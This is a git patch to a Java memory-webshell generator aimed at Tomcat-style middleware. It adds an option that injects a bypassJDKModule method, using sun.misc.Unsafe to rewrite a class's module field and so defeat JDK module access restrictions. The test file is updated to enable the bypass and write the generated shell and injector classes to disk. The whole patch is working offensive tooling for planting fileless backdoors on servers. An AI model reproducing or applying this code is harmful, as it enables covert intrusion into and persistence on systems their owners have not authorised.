From 4d43d247c1f424e703d7451757844b26e388667f Mon Sep 17 00:00:00 2001 From: pen4uin Date: Sun, 25 Aug 2024 17:29:15 +0800 Subject: [PATCH] =?UTF-8?q?add:=20=E6=94=AF=E6=8C=81=E7=BB=95=E8=BF=87?= =?UTF-8?q?=E9=AB=98=E7=89=88=E6=9C=AC=20JDK=20Module=20=E8=AE=BF=E9=97=AE?= =?UTF-8?q?=E9=99=90=E5=88=B6=E8=BF=9B=E8=A1=8C=E6=B3=A8=E5=85=A5=EF=BC=88?= =?UTF-8?q?=E5=8F=AF=E9=80=89=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/jmg/core/config/AbstractConfig.java | 8 +++++++ .../jmg/core/generator/InjectorGenerator.java | 24 ++++++++++++------- .../java/jmg/core/util/JDKBypassUtil.java | 23 ++++++++++++++++++ jmg-sdk/src/test/java/SDKTest.java | 9 ++++++- 4 files changed, 55 insertions(+), 9 deletions(-) create mode 100644 jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java diff --git a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java index 0c5f668..6af778e 100644 --- a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java +++ b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java @@ -129,7 +129,15 @@ public class AbstractConfig { public String shellGzipBase64String; + public boolean isEnableBypassJDKModule() { + return enableBypassJDKModule; + } + public void setEnableBypassJDKModule(boolean enableBypassJDKModule) { + this.enableBypassJDKModule = enableBypassJDKModule; + } + + private boolean enableBypassJDKModule; public boolean isEnableDebug() { return enableDebug; } diff --git a/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java index b316e4b..9deadcb 100644 --- a/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java +++ b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java @@ -1,15 +1,10 @@ package jmg.core.generator; -import javassist.ClassClassPath; -import javassist.ClassPool; -import javassist.CtClass; -import javassist.CtMethod; +import javassist.*; +import javassist.bytecode.AccessFlag; import jmg.core.config.AbstractConfig; import jmg.core.config.Constants; -import jmg.core.util.CommonUtil; -import jmg.core.util.CtClassUtil; -import jmg.core.util.InjectorUtil; -import jmg.core.util.JavassistUtil; +import jmg.core.util.*; /** @@ -62,6 +57,19 @@ public class InjectorGenerator { getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName)); } + if (config.isEnableBypassJDKModule()) { + // 添加 bypassJDKModule 方法 + CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass); + ctMethod.setModifiers(AccessFlag.PUBLIC); + ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody()); + ctClass.addMethod(ctMethod); + + // 添加 bypassJDKModule 调用 + CtConstructor constructor = ctClass.getConstructors()[0]; + constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers())); + constructor.insertBeforeBody("bypassJDKModule();"); + } + JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName()); JavassistUtil.removeSourceFileAttribute(ctClass); byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation(); diff --git a/jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java b/jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java new file mode 100644 index 0000000..58ed389 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java @@ -0,0 +1,23 @@ +package jmg.core.util; + + +// https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk +public class JDKBypassUtil { + + public static String bypassJDKModuleBody() throws Exception { + return "{try {\n" + + " Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" + + " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" + + " unsafeField.setAccessible(true);\n" + + " Object unsafe = unsafeField.get(null);\n" + + " java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" + + " Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" + + " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" + + " java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" + + " Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" + + " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" + + " getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" + + " } catch (Exception ignored) {\n" + + " }}"; + } +} diff --git a/jmg-sdk/src/test/java/SDKTest.java b/jmg-sdk/src/test/java/SDKTest.java index b309944..c057058 100644 --- a/jmg-sdk/src/test/java/SDKTest.java +++ b/jmg-sdk/src/test/java/SDKTest.java @@ -2,6 +2,7 @@ import jmg.core.config.AbstractConfig; import jmg.core.config.Constants; import jmg.sdk.jMGenerator; import jmg.sdk.util.SDKResultUtil; +import me.gv7.woodpecker.tools.common.FileUtil; /* 1、将 java-memshell-generator 和 jmg-sdk 安装到本地 maven 仓库 @@ -25,7 +26,7 @@ public class SDKTest { // 设置中间件 or 框架 setServerType(Constants.SERVER_TOMCAT); // 设置内存马类型 - setShellType(Constants.SHELL_LISTENER); + setShellType(Constants.SHELL_JAKARTA_LISTENER); // 设置输出格式为 BASE64 setOutputFormat(Constants.FORMAT_BASE64); // 设置漏洞利用封装,默认不启用 @@ -34,10 +35,16 @@ public class SDKTest { build(); }}; + // 绕过 JDK Module 访问限制 + config.setEnableBypassJDKModule(true); jMGenerator generator = new jMGenerator(config); generator.genPayload(); + + FileUtil.writeFile("shell.class",config.getShellBytes()); + FileUtil.writeFile("injector.class",config.getInjectorBytes()); generator.printPayload(); + // 连接信息 SDKResultUtil.printBasicInfo(config); SDKResultUtil.printDebugInfo(config);